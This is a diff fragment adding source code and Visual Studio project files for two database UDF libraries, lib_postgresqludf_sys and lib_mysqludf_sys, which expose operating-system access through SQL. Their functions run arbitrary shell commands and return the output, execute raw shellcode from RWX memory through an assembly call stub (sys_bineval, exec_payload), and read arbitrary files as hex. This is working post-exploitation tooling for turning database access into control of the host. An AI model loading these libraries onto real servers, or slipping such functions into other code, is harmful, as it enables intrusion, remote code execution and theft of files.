{3527D58C-177A-47B3-981B-8104EBB3F943}.Release|Win32.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,277 @@
|
||||
/*
|
||||
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
|
||||
Copyright (C) 2009-2010 Bernardo Damele A. G.
|
||||
web: http://bernardodamele.blogspot.com/
|
||||
email: bernardo.damele@gmail.com
|
||||
|
||||
This library is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU Lesser General Public
|
||||
License as published by the Free Software Foundation; either
|
||||
version 2.1 of the License, or (at your option) any later version.
|
||||
|
||||
This library is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
Lesser General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Lesser General Public
|
||||
License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
#define _USE_32BIT_TIME_T
|
||||
#define DLLEXP __declspec(dllexport)
|
||||
#define BUILDING_DLL 1
|
||||
#else
|
||||
#define DLLEXP
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
|
||||
#include <postgres.h>
|
||||
#include <fmgr.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <ctype.h>
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||
#endif
|
||||
|
||||
#ifdef PG_MODULE_MAGIC
|
||||
PG_MODULE_MAGIC;
|
||||
#endif
|
||||
|
||||
char *text_ptr_to_char_ptr(text *arg)
|
||||
{
|
||||
char *retVal;
|
||||
int arg_size = VARSIZE(arg) - VARHDRSZ;
|
||||
retVal = (char *)malloc(arg_size + 1);
|
||||
|
||||
memcpy(retVal, VARDATA(arg), arg_size);
|
||||
retVal[arg_size] = '\0';
|
||||
|
||||
return retVal;
|
||||
}
|
||||
|
||||
text *chr_ptr_to_text_ptr(char *arg)
|
||||
{
|
||||
text *retVal;
|
||||
|
||||
retVal = (text *)malloc(VARHDRSZ + strlen(arg));
|
||||
#ifdef SET_VARSIZE
|
||||
SET_VARSIZE(retVal, VARHDRSZ + strlen(arg));
|
||||
#else
|
||||
VARATT_SIZEP(retVal) = strlen(arg) + VARHDRSZ;
|
||||
#endif
|
||||
memcpy(VARDATA(retVal), arg, strlen(arg));
|
||||
|
||||
return retVal;
|
||||
}
|
||||
|
||||
PG_FUNCTION_INFO_V1(sys_exec);
|
||||
#ifdef PGDLLIMPORT
|
||||
extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
|
||||
#else
|
||||
extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
|
||||
#endif
|
||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||
int32 result = 0;
|
||||
char *command;
|
||||
|
||||
command = text_ptr_to_char_ptr(argv0);
|
||||
|
||||
/*
|
||||
Only if you want to log
|
||||
elog(NOTICE, "Command execution: %s", command);
|
||||
*/
|
||||
|
||||
result = system(command);
|
||||
free(command);
|
||||
|
||||
PG_FREE_IF_COPY(argv0, 0);
|
||||
PG_RETURN_INT32(result);
|
||||
}
|
||||
|
||||
PG_FUNCTION_INFO_V1(sys_eval);
|
||||
#ifdef PGDLLIMPORT
|
||||
extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
|
||||
#else
|
||||
extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
|
||||
#endif
|
||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||
text *result_text;
|
||||
char *command;
|
||||
char *result;
|
||||
FILE *pipe;
|
||||
char *line;
|
||||
int32 outlen, linelen;
|
||||
|
||||
command = text_ptr_to_char_ptr(argv0);
|
||||
|
||||
/*
|
||||
Only if you want to log
|
||||
elog(NOTICE, "Command evaluated: %s", command);
|
||||
*/
|
||||
|
||||
line = (char *)malloc(1024);
|
||||
result = (char *)malloc(1);
|
||||
outlen = 0;
|
||||
|
||||
result[0] = (char)0;
|
||||
|
||||
pipe = popen(command, "r");
|
||||
|
||||
while (fgets(line, sizeof(line), pipe) != NULL) {
|
||||
linelen = strlen(line);
|
||||
result = (char *)realloc(result, outlen + linelen);
|
||||
strncpy(result + outlen, line, linelen);
|
||||
outlen = outlen + linelen;
|
||||
}
|
||||
|
||||
pclose(pipe);
|
||||
|
||||
if (*result) {
|
||||
result[outlen-1] = 0x00;
|
||||
}
|
||||
|
||||
result_text = chr_ptr_to_text_ptr(result);
|
||||
|
||||
PG_RETURN_POINTER(result_text);
|
||||
}
|
||||
|
||||
PG_FUNCTION_INFO_V1(sys_bineval);
|
||||
#ifdef PGDLLIMPORT
|
||||
extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
|
||||
#else
|
||||
extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
|
||||
#endif
|
||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||
int32 argv0_size;
|
||||
size_t len;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
int pID;
|
||||
char *code;
|
||||
#else
|
||||
int *addr;
|
||||
size_t page_size;
|
||||
pid_t pID;
|
||||
#endif
|
||||
|
||||
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||
len = (size_t)argv0_size;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
// allocate a +rwx memory page
|
||||
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
strncpy(code, VARDATA(argv0), len);
|
||||
|
||||
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||
#else
|
||||
pID = fork();
|
||||
if(pID<0)
|
||||
PG_RETURN_INT32(1);
|
||||
|
||||
if(pID==0)
|
||||
{
|
||||
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||
|
||||
// mmap an rwx memory page
|
||||
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
||||
|
||||
if (addr == MAP_FAILED)
|
||||
PG_RETURN_INT32(1);
|
||||
|
||||
strncpy((char *)addr, VARDATA(argv0), len);
|
||||
|
||||
((void (*)(void))addr)();
|
||||
}
|
||||
|
||||
if(pID>0)
|
||||
waitpid(pID, 0, WNOHANG);
|
||||
#endif
|
||||
|
||||
PG_RETURN_INT32(0);
|
||||
}
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
{
|
||||
__try
|
||||
{
|
||||
__asm
|
||||
{
|
||||
mov eax, [lpParameter]
|
||||
call eax
|
||||
}
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
#undef fopen
|
||||
|
||||
PG_FUNCTION_INFO_V1(sys_fileread);
|
||||
#ifdef PGDLLIMPORT
|
||||
extern PGDLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
|
||||
#else
|
||||
extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
|
||||
#endif
|
||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||
text *result_text;
|
||||
int32 len;
|
||||
int32 i, j;
|
||||
char *filename;
|
||||
char *result;
|
||||
char *buffer;
|
||||
char table[] = "0123456789ABCDEF";
|
||||
FILE *file;
|
||||
|
||||
filename = text_ptr_to_char_ptr(argv0);
|
||||
|
||||
file = fopen(filename, "rb");
|
||||
if (!file)
|
||||
{
|
||||
PG_RETURN_NULL();
|
||||
}
|
||||
fseek(file, 0, SEEK_END);
|
||||
len = ftell(file);
|
||||
fseek(file, 0, SEEK_SET);
|
||||
|
||||
buffer=(char *)malloc(len + 1);
|
||||
if (!buffer)
|
||||
{
|
||||
fclose(file);
|
||||
PG_RETURN_NULL();
|
||||
}
|
||||
|
||||
fread(buffer, len, 1, file);
|
||||
fclose(file);
|
||||
|
||||
result = (char *)malloc(2*len + 1);
|
||||
for (i=0, j=0; i<len; i++)
|
||||
{
|
||||
result[j++] = table[(buffer[i] >> 4) & 0x0f];
|
||||
result[j++] = table[ buffer[i] & 0x0f];
|
||||
}
|
||||
result[j] = '\0';
|
||||
|
||||
result_text = chr_ptr_to_text_ptr(result);
|
||||
|
||||
free(result);
|
||||
free(buffer);
|
||||
free(filename);
|
||||
|
||||
PG_RETURN_POINTER(result_text);
|
||||
}
|
||||
@@ -0,0 +1,194 @@
|
||||
<?xml version="1.0" encoding="Windows-1252"?>
|
||||
<VisualStudioProject
|
||||
ProjectType="Visual C++"
|
||||
Version="8,00"
|
||||
Name="lib_postgresqludf_sys"
|
||||
ProjectGUID="{3527D58C-177A-47B3-981B-8104EBB3F943}"
|
||||
RootNamespace="lib_postgresqludf_sys"
|
||||
>
|
||||
<Platforms>
|
||||
<Platform
|
||||
Name="Win32"
|
||||
/>
|
||||
</Platforms>
|
||||
<ToolFiles>
|
||||
</ToolFiles>
|
||||
<Configurations>
|
||||
<Configuration
|
||||
Name="Debug|Win32"
|
||||
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
|
||||
IntermediateDirectory="$(ConfigurationName)"
|
||||
ConfigurationType="2"
|
||||
CharacterSet="2"
|
||||
>
|
||||
<Tool
|
||||
Name="VCPreBuildEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCustomBuildTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXMLDataGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCWebServiceProxyGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCMIDLTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
Optimization="0"
|
||||
AdditionalIncludeDirectories="$(PLATFORM_SDK_DIR)\Include;$(POSTGRESQL_SERVER_DIR)\include\server;$(POSTGRESQL_SERVER_DIR)\include\server\port\win32"
|
||||
MinimalRebuild="true"
|
||||
BasicRuntimeChecks="3"
|
||||
RuntimeLibrary="3"
|
||||
WarningLevel="3"
|
||||
DebugInformationFormat="4"
|
||||
CompileAs="1"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManagedResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPreLinkEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCLinkerTool"
|
||||
AdditionalDependencies="postgres.lib"
|
||||
AdditionalLibraryDirectories="$(POSTGRESQL_SERVER_DIR)\lib;$(POSTGRESQL_SERVER_DIR)\bin"
|
||||
GenerateDebugInformation="true"
|
||||
TargetMachine="1"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCALinkTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManifestTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXDCMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCBscMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCFxCopTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCAppVerifierTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPostBuildEventTool"
|
||||
/>
|
||||
</Configuration>
|
||||
<Configuration
|
||||
Name="Release|Win32"
|
||||
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
|
||||
IntermediateDirectory="$(ConfigurationName)"
|
||||
ConfigurationType="2"
|
||||
CharacterSet="2"
|
||||
WholeProgramOptimization="1"
|
||||
>
|
||||
<Tool
|
||||
Name="VCPreBuildEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCustomBuildTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXMLDataGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCWebServiceProxyGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCMIDLTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
Optimization="1"
|
||||
EnableIntrinsicFunctions="true"
|
||||
FavorSizeOrSpeed="2"
|
||||
AdditionalIncludeDirectories="$(PLATFORM_SDK_DIR)\Include;$(POSTGRESQL_SERVER_DIR)\include\server;$(POSTGRESQL_SERVER_DIR)\include\server\port\win32"
|
||||
RuntimeLibrary="2"
|
||||
EnableFunctionLevelLinking="true"
|
||||
WarningLevel="3"
|
||||
DebugInformationFormat="0"
|
||||
CompileAs="1"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManagedResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPreLinkEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCLinkerTool"
|
||||
AdditionalDependencies="postgres.lib"
|
||||
AdditionalLibraryDirectories="$(PLATFORM_SDK_DIR)\Lib;$(POSTGRESQL_SERVER_DIR)\lib;$(POSTGRESQL_SERVER_DIR)\bin"
|
||||
GenerateDebugInformation="false"
|
||||
SubSystem="0"
|
||||
OptimizeReferences="2"
|
||||
EnableCOMDATFolding="2"
|
||||
OptimizeForWindows98="1"
|
||||
TargetMachine="1"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCALinkTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManifestTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXDCMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCBscMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCFxCopTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCAppVerifierTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPostBuildEventTool"
|
||||
/>
|
||||
</Configuration>
|
||||
</Configurations>
|
||||
<References>
|
||||
</References>
|
||||
<Files>
|
||||
<Filter
|
||||
Name="Source Files"
|
||||
Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
|
||||
UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
|
||||
>
|
||||
<File
|
||||
RelativePath=".\lib_postgresqludf_sys.c"
|
||||
>
|
||||
</File>
|
||||
</Filter>
|
||||
<Filter
|
||||
Name="Header Files"
|
||||
Filter="h;hpp;hxx;hm;inl;inc;xsd"
|
||||
UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
|
||||
>
|
||||
</Filter>
|
||||
<Filter
|
||||
Name="Resource Files"
|
||||
Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
|
||||
UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
|
||||
>
|
||||
</Filter>
|
||||
</Files>
|
||||
<Globals>
|
||||
</Globals>
|
||||
</VisualStudioProject>
|
||||
@@ -0,0 +1,26 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual C++ Express 2005
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "lib_mysqludf_sys", "lib_mysqludf_sys\lib_mysqludf_sys.vcproj", "{4D362A3E-CA53-444C-B1C8-C49641823875}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Win32 = Debug|Win32
|
||||
Debug|X64 = Debug|X64
|
||||
Release|Win32 = Release|Win32
|
||||
Release|X64 = Release|X64
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{4D362A3E-CA53-444C-B1C8-C49641823875}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{4D362A3E-CA53-444C-B1C8-C49641823875}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{4D362A3E-CA53-444C-B1C8-C49641823875}.Debug|X64.ActiveCfg = Debug|Win32
|
||||
{4D362A3E-CA53-444C-B1C8-C49641823875}.Debug|X64.Build.0 = Debug|Win32
|
||||
{4D362A3E-CA53-444C-B1C8-C49641823875}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{4D362A3E-CA53-444C-B1C8-C49641823875}.Release|Win32.Build.0 = Release|Win32
|
||||
{4D362A3E-CA53-444C-B1C8-C49641823875}.Release|X64.ActiveCfg = Release|x64
|
||||
{4D362A3E-CA53-444C-B1C8-C49641823875}.Release|X64.Build.0 = Release|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,7 @@
|
||||
.CODE
|
||||
__exec_payload PROC x:QWORD
|
||||
mov rax, x
|
||||
call QWORD PTR[rax]
|
||||
ret
|
||||
__exec_payload ENDP
|
||||
END
|
||||
@@ -0,0 +1,567 @@
|
||||
/*
|
||||
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
||||
Copyright (C) 2007 Roland Bouman
|
||||
Copyright (C) 2008-2010 Roland Bouman and Bernardo Damele A. G.
|
||||
web: http://www.mysqludf.org/
|
||||
email: mysqludfs@gmail.com, bernardo.damele@gmail.com
|
||||
|
||||
This library is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU Lesser General Public
|
||||
License as published by the Free Software Foundation; either
|
||||
version 2.1 of the License, or (at your option) any later version.
|
||||
|
||||
This library is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
Lesser General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Lesser General Public
|
||||
License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
#define DLLEXP __declspec(dllexport)
|
||||
#else
|
||||
#define DLLEXP
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
|
||||
#ifdef STANDARD
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <time.h>
|
||||
#ifdef __WIN__
|
||||
typedef unsigned __int64 ulonglong;
|
||||
typedef __int64 longlong;
|
||||
#else
|
||||
typedef unsigned long long ulonglong;
|
||||
typedef long long longlong;
|
||||
#endif /*__WIN__*/
|
||||
#else
|
||||
#include <my_global.h>
|
||||
#include <my_sys.h>
|
||||
#endif
|
||||
#include <mysql.h>
|
||||
#include <m_ctype.h>
|
||||
#include <m_string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include <ctype.h>
|
||||
|
||||
#ifdef HAVE_DLOPEN
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#define LIBVERSION "lib_mysqludf_sys version 0.0.4"
|
||||
|
||||
#ifdef __WIN__
|
||||
#define SETENV(name,value) SetEnvironmentVariable(name,value);
|
||||
#else
|
||||
#define SETENV(name,value) setenv(name,value,1);
|
||||
#endif
|
||||
|
||||
DLLEXP
|
||||
my_bool lib_mysqludf_sys_info_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void lib_mysqludf_sys_info_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
char* lib_mysqludf_sys_info(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
);
|
||||
|
||||
/**
|
||||
* sys_get
|
||||
*
|
||||
* Gets the value of the specified environment variable.
|
||||
*/
|
||||
DLLEXP
|
||||
my_bool sys_get_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void sys_get_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
char* sys_get(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
);
|
||||
|
||||
/**
|
||||
* sys_set
|
||||
*
|
||||
* Sets the value of the environment variables.
|
||||
* This function accepts a set of name/value pairs
|
||||
* which are then set as environment variables.
|
||||
* Use sys_get to retrieve the value of such a variable
|
||||
*/
|
||||
DLLEXP
|
||||
my_bool sys_set_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void sys_set_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
long long sys_set(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *is_null
|
||||
, char *error
|
||||
);
|
||||
|
||||
/**
|
||||
* sys_exec
|
||||
*
|
||||
* executes the argument commandstring and returns its exit status.
|
||||
* Beware that this can be a security hazard.
|
||||
*/
|
||||
DLLEXP
|
||||
my_bool sys_exec_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void sys_exec_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
my_ulonglong sys_exec(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *is_null
|
||||
, char *error
|
||||
);
|
||||
|
||||
/**
|
||||
* sys_eval
|
||||
*
|
||||
* executes the argument commandstring and returns its standard output.
|
||||
* Beware that this can be a security hazard.
|
||||
*/
|
||||
DLLEXP
|
||||
my_bool sys_eval_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void sys_eval_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
char* sys_eval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
);
|
||||
|
||||
/**
|
||||
* sys_bineval
|
||||
*
|
||||
* executes bynary opcodes.
|
||||
* Beware that this can be a security hazard.
|
||||
*/
|
||||
DLLEXP
|
||||
my_bool sys_bineval_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void sys_bineval_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
int sys_bineval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
);
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||
#endif
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
/**
|
||||
* lib_mysqludf_sys_info
|
||||
*/
|
||||
my_bool lib_mysqludf_sys_info_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
){
|
||||
my_bool status;
|
||||
if(args->arg_count!=0){
|
||||
strcpy(
|
||||
message
|
||||
, "No arguments allowed (udf: lib_mysqludf_sys_info)"
|
||||
);
|
||||
status = 1;
|
||||
} else {
|
||||
status = 0;
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
void lib_mysqludf_sys_info_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
char* lib_mysqludf_sys_info(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
){
|
||||
strcpy(result,LIBVERSION);
|
||||
*length = strlen(LIBVERSION);
|
||||
return result;
|
||||
}
|
||||
|
||||
my_bool sys_get_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
){
|
||||
if(args->arg_count==1
|
||||
&& args->arg_type[0]==STRING_RESULT){
|
||||
initid->maybe_null = 1;
|
||||
return 0;
|
||||
} else {
|
||||
strcpy(
|
||||
message
|
||||
, "Expected exactly one string type parameter"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
void sys_get_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
char* sys_get(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
){
|
||||
char* value = getenv(args->args[0]);
|
||||
if(value == NULL){
|
||||
*is_null = 1;
|
||||
} else {
|
||||
*length = strlen(value);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
my_bool sys_set_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
){
|
||||
if(args->arg_count!=2){
|
||||
strcpy(
|
||||
message
|
||||
, "Expected exactly two arguments"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
if(args->arg_type[0]!=STRING_RESULT){
|
||||
strcpy(
|
||||
message
|
||||
, "Expected string type for name parameter"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
args->arg_type[1]=STRING_RESULT;
|
||||
if((initid->ptr=malloc(
|
||||
args->lengths[0]
|
||||
+ 1
|
||||
+ args->lengths[1]
|
||||
+ 1
|
||||
))==NULL){
|
||||
strcpy(
|
||||
message
|
||||
, "Could not allocate memory"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
void sys_set_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
if (initid->ptr!=NULL){
|
||||
free(initid->ptr);
|
||||
}
|
||||
}
|
||||
|
||||
long long sys_set(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *is_null
|
||||
, char *error
|
||||
){
|
||||
char *name = initid->ptr;
|
||||
char *value = name + args->lengths[0] + 1;
|
||||
memcpy(
|
||||
name
|
||||
, args->args[0]
|
||||
, args->lengths[0]
|
||||
);
|
||||
*(name + args->lengths[0]) = '\0';
|
||||
memcpy(
|
||||
value
|
||||
, args->args[1]
|
||||
, args->lengths[1]
|
||||
);
|
||||
*(value + args->lengths[1]) = '\0';
|
||||
return SETENV(name,value);
|
||||
}
|
||||
|
||||
my_bool sys_exec_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
){
|
||||
unsigned int i=0;
|
||||
if(args->arg_count == 1
|
||||
&& args->arg_type[i]==STRING_RESULT){
|
||||
return 0;
|
||||
} else {
|
||||
strcpy(
|
||||
message
|
||||
, "Expected exactly one string type parameter"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
void sys_exec_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
my_ulonglong sys_exec(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *is_null
|
||||
, char *error
|
||||
){
|
||||
return system(args->args[0]);
|
||||
}
|
||||
|
||||
my_bool sys_eval_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
){
|
||||
unsigned int i=0;
|
||||
if(args->arg_count == 1
|
||||
&& args->arg_type[i]==STRING_RESULT){
|
||||
return 0;
|
||||
} else {
|
||||
strcpy(
|
||||
message
|
||||
, "Expected exactly one string type parameter"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
void sys_eval_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
char* sys_eval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
){
|
||||
FILE *pipe;
|
||||
char *line;
|
||||
unsigned long outlen, linelen;
|
||||
|
||||
line = (char *)malloc(1024);
|
||||
result = (char *)malloc(1);
|
||||
outlen = 0;
|
||||
|
||||
result[0] = (char)0;
|
||||
|
||||
pipe = popen(args->args[0], "r");
|
||||
|
||||
while (fgets(line, sizeof(line), pipe) != NULL) {
|
||||
linelen = strlen(line);
|
||||
result = (char *)realloc(result, outlen + linelen);
|
||||
strncpy(result + outlen, line, linelen);
|
||||
outlen = outlen + linelen;
|
||||
}
|
||||
|
||||
pclose(pipe);
|
||||
|
||||
if (!(*result) || result == NULL) {
|
||||
*is_null = 1;
|
